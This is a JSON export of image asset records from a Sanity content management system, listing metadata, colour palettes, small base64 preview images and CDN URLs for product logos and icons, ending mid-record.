{"_createdAt":"2022-08-30T14:51:33Z","_id":"image-449d0d4df193267f6c8093dcdd5e8528d3389041-512x503-png","_rev":"KtmMmNTIro7hjsGNslls9i","_type":"sanity.imageAsset","_updatedAt":"2022-08-30T14:51:33Z","assetId":"449d0d4df193267f6c8093dcdd5e8528d3389041","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMRp2xxu?s%MD*jcWBaft6x@_KWC4poext-:t6ayRQD*D*tQx@MzRQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0178926441351888,"height":503,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiElEQVQ4jaWU60sUURjG9++LCCGjD33pDvWhDxJBUBRqaVJkJkRhNxBRTEmNsIhaN9PFXC+sroqushe3dWfOzOyue5lzZt4nzuyOrDap2QsPZy7n/Oa9zevb2lL8jOlM1w3oukFV4RBy95KmGZaqsulkMnXNl8vlFdM0TSEEhBAkuCDOneuDRK44FygWS0lFUbt8hUKRbNsmVMxdD2vknuGca4xpww7QsipA2yYSpkWC2yCqsOW6j1yrAvXdwHJRUGI5i+gMA0sVIcE7rtSA9npIfwPmdZMmBuPouTOPz11rWJ/TsG2YsK3dmZD3vGzBEvb+HuZYmb68iaK1PoC2098x0LaI6Y+biC0YyGum43Ehy5GIGFj9qUJPl4gkEwRuegALOU7BoQSenJ9E4/Fv6LgYxKvrIfQ2hjExEMfqtIqpkST6msMYfBhBbEEnmXcZuekFFNym1FoO/p4NdN+aQ1dDCO3nJtF0wo/Oy0H0NYXx7OqU8zH5LjrDHCDtBbptI5NhCRtGpuQUZrw/hrc3Z3GvbgwtJwN4eimIlvoAmuvG0H9/AcmVbCVk2gfoJl7mK7GUxUjHsuOdlAz/9Y0ZDD1eQmQ8IwtGnkWpBda2x+ZKFu8eLKL97AReNoScyof9aaQ38igXBKR38GobT6BNiEcMdN+ex91jX9FxYRLB9wmn2jWB0OGBRMjEtvGhcwWtpwJ4dOaHU+lSntc2Ov0TsLQtEJ3VMPp8Fb1NYYRGU/8HJLnRtKBuFrA+q+FXNO/8IQcCrWofkoe5j2WPSlXb5I9t3MvDI4yvnTPV8TUkB2xaDlg5JHlluB5BXA7YeCajvvCl05lPqqopjOlgTKejSROKogYTidSV35Zc1x/PepqPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4b4e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#402261","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c44bc","foreground":"#fff","population":5.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#beaccb","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b793e4","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b5ca8","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c44bc","foreground":"#fff","population":5.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-square-terraform.png","path":"images/sczeoy4w/production/449d0d4df193267f6c8093dcdd5e8528d3389041-512x503.png","sha1hash":"449d0d4df193267f6c8093dcdd5e8528d3389041","size":7698,"uploadId":"0qo5Qq3a74HsPA44dWXdIXVznNRrBuoe","url":"https://cdn.sanity.io/images/sczeoy4w/production/449d0d4df193267f6c8093dcdd5e8528d3389041-512x503.png"} {"_createdAt":"2022-08-30T14:52:48Z","_id":"image-5dd414efed92dcb8745bbd274926a72dfebfc88a-512x512-png","_rev":"BBSsdcKfQe4E5jW8V2D1ds","_type":"sanity.imageAsset","_updatedAt":"2022-08-30T14:52:48Z","assetId":"5dd414efed92dcb8745bbd274926a72dfebfc88a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSQv?{t7~Rt7WAxafQWVfQaz~Rj@9cazIXozfQj@fQj[jXfQIXay-n","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACvElEQVQ4jZVU+U/UQBTeP9bEeETFRIkao8HEqPGI/mBilCOI4Kqw4RA5lPuIIiALyGHiARjd7bad3rQznc+82S40soBO8qXTeW++eXdG142847iO5/nwPF8mwD9ApvVt29E1rTSUITLOuYjjGELEMo4VkPzvRSJLIJM7iKIoMk1LyxA7HSRL7tlUWbLKrxAClmWDCNUrJEgtpUdfP4yh2QK6I7Adlc8qsl1dSM6FZMyWipBMV6eJNE6INnWOsZUALZMO2qYcTH8J8MvkKWLs3EkT7rhMskhI/DQ4RlZ8PBy0UNum48zTksLFrI4nw7YiLloC5JhMiDkXYKzs8m4MpVSKuY8uLr80cLReU0S3XzPc6DJxsknDsQYNdTkDA3kfzKN7VQgpe8rVWGJ5K8T1ThM1ishEy4SDvgUPPfMeGsdsJTvdXML9PoZvxai6hRXCkEuMrQY4+6yE2uc6cjMuRlcCjK8GKpYUhrZpR1l96YWO+e/byu19Ce0gViQnmjRcaTfQNedhcj1AfiPEwo8Q42sB2j+4OJ/E9d2SjyCK9yek+DWM2jjVXMKDfobBRV8RLm2GWNwIMbEWoD/v4Wa3qXRevXdheYcQNo+XCa/lDHTMuBha9jG1Hii8XfKRnXZUwijGlDx2ECHVHpXE1XYDRx4XcavHRO8nDwOLvrK2c9ZFXUdZRlZSGEJeLYapOjRcge45DzUtJWXpnV6Gu70M994w9cDxRg0XsjqGP/twgvjgOiQhdcmWwdE65eBcq65qj+qRQHsqbrKU2jFpP/zdKXtaj7rlazFC16yH+hEbj4YsBUoY1SQ9WCkXWaX10sNhp+GJlHkCBSbwm3GFgiVg+TG4OHg4oNr4+o+VHl8yQ5OWhiMd0CsJVJD/AUqf7oZhGJgm28zQ2KZJS8ORTE6gMnYIKrqSLCOyQkHL/gH8ydPElPTpgAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4f50","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3777","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c8cec","foreground":"#fff","population":5.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d4d4","foreground":"#000","population":4.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b8dfc","foreground":"#fff","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5076ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c8cec","foreground":"#fff","population":5.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-square-kubernetes.png","path":"images/sczeoy4w/production/5dd414efed92dcb8745bbd274926a72dfebfc88a-512x512.png","sha1hash":"5dd414efed92dcb8745bbd274926a72dfebfc88a","size":14255,"uploadId":"OFWXicgFosRCoiWuz5HXBq3ungs09066","url":"https://cdn.sanity.io/images/sczeoy4w/production/5dd414efed92dcb8745bbd274926a72dfebfc88a-512x512.png"} {"_createdAt":"2022-08-30T14:53:36Z","_id":"image-c34e525569724d65ca851b18bdcc45b762d81e4d-512x512-png","_rev":"NZ8UGhqEeay2DrII6L6Q3T","_type":"sanity.imageAsset","_updatedAt":"2022-08-30T14:53:36Z","assetId":"c34e525569724d65ca851b18bdcc45b762d81e4d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ecS}?^t6UGs;Sht8f8f*fjenUaf9dqfhenrqfifSf8gNR5fPf+f8f+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADH0lEQVQ4ja2U2WsUWRTG+58RRBAf9EHc3twYMSCOG4o7ElFRGXdNFEyiQtwao8QZE03iUjqYIOrMMBMlRltmNOMECW6JYsAsZXdXL5Ve6tb5DbeqWtsYUMELXy33nvPdc8695wtFo7HOVCqdsu0hbHtIAvAVkGL7ZDIVNc33rSFN5jiOcl0XpVxxXQ+4SkMFGOFf27iuBD7k8/l8PJ4wQ5pdTwRD+PYh+qGUIpFIogm9XfRC0UAyWaTfRPpMxM4gaRt5N4gMRpFsThsXHNC+jqPEspLiEerQvdlglVwOnveAcRsaWiDyBB4+gaYbcPkmvHgDjvJCk8CnmPBDygU+Umm4cx+qa6HsBNRegQvNUFUL5WH48wHoDIp8HEdhWX7KHwn1WzkQi8L9CPzSCOE6aGqBSzfhVJOP9sdgJREdZeD7KaEKCDNp6OmCzofwzwMwDDhzFhoNqDcg3ADGLb8Ef3ci3W+9evqEzrAIdZEH30KrAUYYGo5D1U7YtQUOVkLZYdhYBvuOQc1Frwzy2z3EjI2UssCQhTxthZajcHIDbJ4FSydB6XyorvBJF6yE6YthyWYoP4Gcv450dHn1dNQHQtsnjPUi7XVwaTtUlsCaMbBwFKycDNuWwaYVMPcHmDodZi6CjeXIsTrkdhvELBzXxbISRYRpE/n3V2jeAzVLYO80WD8Olo2GhWNh3ngomQI/lsCqdbC3EjnTiLQ/grSNo4YT5jNIdxv8vh/ql8LJuVA1G7ZOhNVjYfkEKJ0D29b6da2sQBovI89e6gIWp1w4FBd5/xL+qoDwJKiZAcZPcPUA1O2Ec2XQdBROH4Qda2B7KdJ8DRk0vQMddm1UcG0S8KgeLsyDW7vhxV3ofwV93dDXA+96oKMNfj4ER3YgkTtINlu4NkWtp5Tfeq4jMtCF/Gcgr9u9DbyeDRTA+07Fkc4IEvkD6e/VF/uz1isWB0TlRIbiSDaJuKogAh+hFGInfShnRHH4nvIlIa20Whz1hN5F10K3kQ9vbgQU1rWtEu2by+Uy8bjVG9KyrZVWi6MOOYB3Yl9AwVZ0ZJpsYMC88j+b+rdUBY0D+gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0e0d0e","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#822202","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5a24","foreground":"#fff","population":5.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4d0cd","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb85d","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae625e","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5a24","foreground":"#fff","population":5.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-square-aiven.png","path":"images/sczeoy4w/production/c34e525569724d65ca851b18bdcc45b762d81e4d-512x512.png","sha1hash":"c34e525569724d65ca851b18bdcc45b762d81e4d","size":39688,"uploadId":"ZwWDxL1as2kzJDxw9qebUOJYUUn5R3oK","url":"https://cdn.sanity.io/images/sczeoy4w/production/c34e525569724d65ca851b18bdcc45b762d81e4d-512x512.png"} {"_createdAt":"2022-08-30T14:54:11Z","_id":"image-ed2a8c527011a20481fb189f3b593b0146265027-512x512-png","_rev":"BBSsdcKfQe4E5jW8V2DOqX","_type":"sanity.imageAsset","_updatedAt":"2022-08-30T14:54:11Z","assetId":"ed2a8c527011a20481fb189f3b593b0146265027","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"egQJfmt7_3ofWBoffQj[fQay~qay9FofWBt7ayWBj[j[IUj[t7WBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiUlEQVQ4jZ2Uy2sTURTGs60iXYgttYKI0jSJItg8EIU+EmOqpE+t0JpSLFUUqhaUqItC3QiufUDFRdWFirgokmoKTaXFFgOWCv4FojSOaZKJmZCZyf3k3EzCFIc6OvBNhjPn/s65J3c+SzK5/jmb/ZXN5STkchLTBBNi+nxRzCYF4eechWCKoqjFYhGqWmTFIhdMimlrIMuynEplBAvRKaBdjN8YMyX9GlVVkcmIICCvUuLwrEqmiYtpYKYoKkunRcaB1Hr5LVXKSRIyYhbpjGiojCgiJ+V5V0wj6oE0O16Otv7t+xqmI7N48Ogp7k1O4f7kE03l5yk8fPwMkXdzWEsIla0riop0urRlXqkUVLC4FEdoZAwHPH7YnF40NrVVZKPfQ61wuH0YvnQd8U+rlfnT2j+AsqxgJhrD8a4QB9hdXmzffRBVOxpQVWPFlhorf95a24hAdwjzC0sbmjEERqIxnOgdwrGOAYyMhtHSfoZDCUYg0rY6O9q7B80AZczMzsMX7Ie7pQO3Ju5i7MZt2J1eVO90oLreoQFtCJgDKhzo7zyLo/5ehMfvcGCw7xzvmIrU7m3iHZoGRqIxnDw1hOZAH3r6z3PQwPBlXA1P4HToIvbsP/JvwLdah7usHtQ3uFG3zwm7y8e7o63TPPkMewbxfnF5c6CiqliOr+DClZvwtHbC1RzkIL0odritC6PXxrGy+kV3bDacw1KQDukPIckrv3z9Bs9fTRuK3i18+Ijkekp/sI0/PapYKMiQpPymohzKZQafnt4cKu5h1hmYgTn8n33puHTT7ItZyGnJHClAVTTxIZsQz6e1hUIhn0qlv1rItslpyRypZU38H/uLyrmMOiNYIiG8+A2pRFMdAnt8gwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243440","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04132c","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#74777f","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85aef3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74777f","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1564e9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-square-cli.png","path":"images/sczeoy4w/production/ed2a8c527011a20481fb189f3b593b0146265027-512x512.png","sha1hash":"ed2a8c527011a20481fb189f3b593b0146265027","size":6796,"uploadId":"W2GKekb0kdfKHKzWklVGtvJhIq367348","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed2a8c527011a20481fb189f3b593b0146265027-512x512.png"} {"_createdAt":"2022-08-30T14:54:54Z","_id":"image-24006679eedfbed405d056e49e06ad27dfd83835-512x512-png","_rev":"NZ8UGhqEeay2DrII6L6lzx","_type":"sanity.imageAsset","_updatedAt":"2022-08-30T14:54:54Z","assetId":"24006679eedfbed405d056e49e06ad27dfd83835","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eiPs*Kof~qt7RjoffQj[j[fQ~qj[9FfQRjt7j[ayayayWBj[M{ay%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJUlEQVQ4ja1Ua0iTURjez4ouYCg11FiSUzPLlZa3QsvCG6nrZplI2FaWmtJFmWYqpTYzzbSMhAIhoh8VBRWBXX74J/pREKWiVnNemnPTedu+b98T79lmo7Yu0IHnO4dz3vO8l/N8r0ivH3tvMk2apqamMTU1LdiBv4DgbD8xYdLrdKMdIiLjOI63Wq3geatgtTLQGjzPu4EVZEO2vO0OLBaLxWAY14mInTbsQ8C/D4E+5Gh8fAJEyLzQgWOQATkxmSahGRjEp+5edPX0QTs0zNK12kwcF0BLjuMFo3FCYIQUurPBzMwsI7lz7yFKq+qgLCjB0RMqVNQ04P6jp+j/rIHZYpkjBQBnQueUGdmbt++gqlQjKj4dvoER8JSEwksigyQ4CnHJGaipb8GHj91UNzgGx/EwGm0psyI70qTIVBVqBKyPw8JlgZjv6c+wwEvK5sXiIMiiE6FubMXXgUGK0BUhzzapZpQmRea1UgZv6UZ4SULZHCCLhd+aGIj9wxiSdmXjyfOXmJ012wm5Xwk12iGWql9IDMK2pECeqUTk1jRs35mJnOOnka0sQuq+w+xsXWQC6q/ehH7M4J6wq6cXivxilm6WohBVtVegyCtGbqEK5Rcuo7RSjcLiSqTsPoSgsG0oOVeLAe3Q7wj7cKyolKWcf6ocVbWNKCmvwZmyauSdPIs9WbnIzClAkjwbweHxUFVchHZw2D0hHZ5XNyE2cS9Lc0fqQaRlKCDPPIKIuFT2yrLoJIYNm5PR1HoLBoPRPSGtHzx+xgouXhWGpSvWQuwfDp+ATWy9aHkQPHxD4C0Nh/yAEh2vOuf0+BOhXTaCwERbfakFoVGJWCJezaQyz0k6Hj4hiI6X41pbO4ZHvrmWjbOwSawkWtJZQnoWpLJYFiGBHiJtvwLX29rR1/+FZSb8IHT969lIOSZa0llDcxsTellVHZpv3MaL150sMkeZBBe/nnNzmDOgiUQ7qh+DRjvI5DFmMLKa2e3cNgf8x/YliKjTUnOkDfJiBysyvZxrOM5t9nTXbDbPGAxGjYjaNnVaao4Ush3sxf4Ah61AkRHZyIju7neMbzNeamO4AAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d424f","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041125","foreground":"#fff","population":0.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#041125","foreground":"#fff","population":0.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3ecf2","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e8494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1869e6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-square-api.png","path":"images/sczeoy4w/production/24006679eedfbed405d056e49e06ad27dfd83835-512x512.png","sha1hash":"24006679eedfbed405d056e49e06ad27dfd83835","size":10409,"uploadId":"8FxnLCKjpmdwIWP9m3xjQWMKzkE2FaP1","url":"https://cdn.sanity.io/images/sczeoy4w/production/24006679eedfbed405d056e49e06ad27dfd83835-512x512.png"} {"_createdAt":"2022-09-12T14:06:50Z","_id":"image-00cc34923692515e4605823afc9d6b5fabfc0137-1200x630-jpg","_rev":"cEPH2uRN58AU2lp9QRF5qb","_type":"sanity.imageAsset","_updatedAt":"2022-09-12T14:06:50Z","assetId":"00cc34923692515e4605823afc9d6b5fabfc0137","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGBQf/xAAiEAACAgICAgIDAAAAAAAAAAABAgMEABEFIQZBFCJhgZH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EAB4RAAICAQUBAAAAAAAAAAAAAAECAAMREyIxUnHw/9oADAMBAAIRAxEAPwDu71OSa6zfIIrs29BuwMnvM/KJOLupTrWQkgXZ+uz+8sIxqy57/uZXkPEUL0sEturHLIrDTEd4LMLCFJI8+4jqunuGD7HOC5Ca5xcE88REjL3r3+cMdiRY41RAFVRoAesMmFtnaO1aE5An/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545858","foreground":"#fff","population":4.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#41351e","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69813","foreground":"#000","population":5.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bec3","foreground":"#000","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#56b6fb","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516f9e","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69813","foreground":"#000","population":5.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_for_Energy_meta_preview.jpeg","path":"images/sczeoy4w/production/00cc34923692515e4605823afc9d6b5fabfc0137-1200x630.jpg","sha1hash":"00cc34923692515e4605823afc9d6b5fabfc0137","size":229052,"uploadId":"YdDFKQ36152zkXY5gwdDw3xgamaQ3Zbb","url":"https://cdn.sanity.io/images/sczeoy4w/production/00cc34923692515e4605823afc9d6b5fabfc0137-1200x630.jpg"} {"_createdAt":"2022-12-05T15:59:48Z","_id":"image-e9e415c6c5365b0cdfa6c0d84a6ccec81b7fa967-25x24-svg","_rev":"0rD6Phxg3duzic15oI2TZz","_type":"sanity.imageAsset","_updatedAt":"2022-12-05T15:59:48Z","assetId":"e9e415c6c5365b0cdfa6c0d84a6ccec81b7fa967","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0416666666666667,"height":24,"width":25},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAADH0lEQVQ4jXWU24+eUxjFf9OaGcaMTqNTGtJEmtCIVEQRUiIEF45BE6HTzuy1v4/OkBpEMBJxiAuRShxCHEMQEac6tZXgQqRxuNC4IHHr79hLnr33pxfiYme/3/t+e+1nrWc9i7IAXgJnsKCo7aPf/75P7bksMubMhAdMecCkM2P1/Ap4AHgPOB0DKrkf7Ht9bsBrLGYtzrXYZbFicb3FnG/vgAsBuAjeC16tgGtLZsaZjc5sKqrrNIstFpdYDC1esjhk8avFW0Vc4HnGoqi4vAEOGYvbi7jQmT3OPGDxsMUjFo9Z7Ld41+JLiw8sni/t+RuLW52Y8oONaQPMrHfmRotXLL6w+Liv7y2O9v0Ni4eKuNpiu8VTFj9ZvFDEZU6s850BOGCtM5davN7BHre4o4j5Tu+IxXMWF1uc4sS4ExuKWC3izyJ+t3jZ4nIPmYzqTrK4x+JgCZqJLU4c78Rc1+yz+j0zWzsdjBJzHfCIxbcWhy1WndkcjQjRnyzi09q1RY7r9pmxWLT4pIi7a4fDEWGzdtmjVdPMs86836vcHoCbOs0DFjc7MVH9l5gpYiEAHYCZWe/7D+DXoaHFhxYvFnFeAJ5oMegfn46XFustTrdYsvjc4l6Lk0P0ao/EhkqxWSdoHy6ZFWdOrYYtmfP7Td/1Tu+rVYk3+6FXLa6zONOZaSc2dsA/LH6JQmrnh4yHBwN02uKWDvhX+Ku0ZsSf/7b4rVPf36fkSotnLH4soX9imxMnBFab1+W6n92t83O3yf0W7xRxtDQ5XuvePFCaycObB2vlC0z4rpGxewDEmHWhQ7PkxFlFLPfpCHoXWdxg8UQH/qHLtK2OXjRLAXgsBKad2V1at++z2Oxm7qC63INh0uIMi6uKuM1ih8U6v90xFkcVthVpcoXFR/3mHb0xccHeerDZKeY+vBrRNe5BC4aaTksBOHJ/aCC2hvBFfBUBYPFerzAaNtUTpSXLKCvDSp2ud44qHPTVqrgpYql3PPSLxNnqAWt87f8E8eh8xFcPz1ZhZqyoeuyaTne3E+fU2Z7vTKKiIZSwW6wRWFgG+AfXwnen35Ul2gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e341c","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#751604","foreground":"#fff","population":3.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1620c","foreground":"#fff","population":7.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#902508","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46038","foreground":"#fff","population":0.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#913b07","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1620c","foreground":"#fff","population":7.33,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-announcement.svg","path":"images/sczeoy4w/production/e9e415c6c5365b0cdfa6c0d84a6ccec81b7fa967-25x24.svg","sha1hash":"e9e415c6c5365b0cdfa6c0d84a6ccec81b7fa967","size":638,"uploadId":"XJrD59tLq8MSSjLVALIFQZBdhshXzn6S","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9e415c6c5365b0cdfa6c0d84a6ccec81b7fa967-25x24.svg"} {"_createdAt":"2022-12-05T15:59:48Z","_id":"image-f031c696b7d1e96077b40dee85d180c60d675137-25x24-svg","_rev":"0rD6Phxg3duzic15oI2Tc7","_type":"sanity.imageAsset","_updatedAt":"2022-12-05T15:59:48Z","assetId":"f031c696b7d1e96077b40dee85d180c60d675137","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0416666666666667,"height":24,"width":25},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3ElEQVQ4jW2U34tXVRTFP1+dSWVQBn9lSllCBBoYmZFEQ+hLD0IhEQ0p+r3rfkcJUQmxrB4qJEpQMBQVH+wnBf2QoqQoix4F7ake6o85K/a5e2buiF84fO+9Z5911l577Q13/DwDHoJ3gV8FNyyxWOOWlZ5hzPugrtgb3nn6bmBtBelWyz0W24o4ZiG3bLJY5IMZp7uBjPJw/Gt+lfgm7rc4aXHL4jeLVywmfRjK7MX7wS+C94BfZu5gtyIoA4squ+eK+NritsVNi/NFPOb9DHygF6/5rDq9+oANiyzGM713LH60OGXxkcUPFm1oWsTiAC4zCzJK5I7NaouHLZ5MZseL+MniksXTFs9bfGPxVYLutHjcDQ+5YdINY8E6ChGMHrU4YnHB4mOLLy2uu0t3X61wywMWr7u75PsiPre4anHWYq9V9wcBOF7EnhT9X4trFqctjlu8UAJoVC+NLLbk4TdTghsW/1l8UsRT4QDKiMUWUxZfpPhn8v0+t0xUsKPg6ar3mBtWWGwMCZLlbYsPS8sjboNhV6WVyfLTIr61GLllgw8y8MkUfbaSLWMWm4t4KwpWxDmLZyyWRYE6/3WVWpWgod81t7zkluXRFUUMQp+0yQZ3Rr+eNpqymPC2ziXzHlpdP6yyOGzxu8XbFusqSN9aYqvFRYvvqsZiokz3Oqf25XxwCD9t8XMRbwTr/Bb/k9WfYnMWJPSb8pBBWq/nw3R86QQ/lNY4knbabXGiiKMWz1o8YfF+umF3aWpR5zLtHmaHglifqf6RaX2QXgwJfo2iWbyb7P6sHm1Y2uuyBHxvDvDBvP1vi7+S6YVkeyKN/IvFP7k/slje7+ku5Zht3Q1rLIbJ4HK22NbaKWJttuBrFp9ZXIkWrXZZABgVHKXPhoy7qSx3lJYtbpmsxo7p01U6PHhviR4W2+O5zscFgMeyIAG4vYKG5yJoUGddjKnenKyzsMmYeI/93iz9H6udSDqQSWH4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c5434","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e0f04","foreground":"#fff","population":4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e0f04","foreground":"#fff","population":4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#763f22","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc794e","foreground":"#fff","population":1.33,"title":"#